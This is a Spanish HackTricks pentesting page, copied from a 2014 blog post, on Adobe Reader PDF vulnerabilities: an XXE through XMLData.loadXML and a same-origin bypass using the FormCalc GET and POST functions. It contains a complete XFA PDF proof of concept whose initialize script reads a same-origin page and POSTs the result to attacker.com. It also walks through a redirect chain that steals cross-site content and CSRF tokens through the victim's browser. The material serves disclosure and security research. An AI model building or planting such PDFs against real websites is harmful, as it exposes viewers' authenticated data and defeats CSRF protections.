hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.7 KiB

Carga de PDF - Bypass de XXE y CORS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Contenido copiado de https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html

La función Javascript en Reader se puede utilizar para leer datos de entidades externas (CVE-2014-8452)

Estado: Solucionado
Realidad: No solucionado

Este se trata de un simple XXE que descubrí.
Leí el artículo "Polyglots: Crossing Origins by Crossing Formats", donde se discutió una vulnerabilidad en
XMLData.parse. Era posible utilizar entidades externas y hacer referencia a ellas.
Leí la especificación y resulta que hay más funciones que "parse" para leer XML.
Creé un archivo xml simple, que hace referencia a una URL del mismo dominio y lo analicé con loadXML.
Funcionó:

7 0 obj
<<
 /Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj

El impacto es limitado porque
o) está limitado al mismo origen
o) las páginas HTML rompen el XML
o) las entidades dinámicas no son compatibles
o) Tuve la idea de usar un XML utf-16 para evitar romper la estructura XML, pero no funcionó.

Pero aún se puede usar para leer JSON.

Bypass de política de mismo origen en Reader (CVE-2014-8453)

Estado: solucionado
Realidad: ¡solucionado pero aún vulnerable al mismo origen!

En mi opinión, esta es la vulnerabilidad más poderosa. Incluso sin el Bypass de Origen, te muestra
lo poderoso/aterrador que puede ser un PDF.
Muchas personas saben que PDF admite un lenguaje de script llamado Javascript, pero hay otro.
Se menciona en la especificación de XFA, un tipo de archivo también admitido por el lector de Adobe.
Se llama formcalc y no es tan poderoso. Se utiliza para cálculos matemáticos simples. Pero en la especificación de Adobe
hay tres funciones adicionales: 'GET', 'POST' y 'PUT'. Sí, sus nombres hablan por sí mismos.
'GET' tiene un parámetro: una URL. Utilizará el navegador (SÍ, COOKIES) para recuperar la URL y devolver el contenido de la misma.
Luego podemos usar 'POST' para enviar el contenido devuelto a nuestro propio servidor:

var content = GET("misamigos.php");
Post("http://atacante.com", contenido);

Estas funciones son del mismo origen, por lo que un sitio web debe permitirnos cargar un PDF. Eso no es tan irrealista para
la mayoría de los sitios web. Atacante.com no es del mismo origen, por lo que necesitas configurar un crossdomain.xml, como es habitual en los productos de Adobe.

En resumen: esto no es un error, es una característica. Tan pronto como se te permita cargar un PDF en un sitio web,
puedes acceder al sitio web en el contexto del usuario que está viendo el PDF. Debido a que las solicitudes son emitidas
por el navegador, las cookies también se envían. También puedes usarlo para romper cualquier protección CSRF leyendo los tokens.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>
<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
     var content = GET("myfriends.php");
                   Post("http://attacker.com",content);
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

Después de encontrar estas funciones, encontré un bypass de política de misma origen. Esto hace posible utilizar el navegador de la víctima como proxy (@beef todavía está trabajando en el módulo^^).

El bypass es realmente simple:

  1. El usuario A carga evil.pdf desde http://attacker.com/evil.pdf
  2. Evil.pdf utiliza formcalc GET para leer http://attacker.com/redirect.php
  3. redirect.php redirige con 301 a http://facebook.com
  4. Adobe reader seguirá y leerá la respuesta sin buscar un crossdomain.xml.
  5. evil.pdf envía el contenido recuperado vía POST a http://attacker.com/log.php

Tenga en cuenta que utilizando esta técnica se pueden robar los tokens CRSF de una página y abusar de las vulnerabilidades CSRF.

Este simple bypass está arreglado ahora. Espero que implementen una advertencia de diálogo para solicitudes de misma origen también.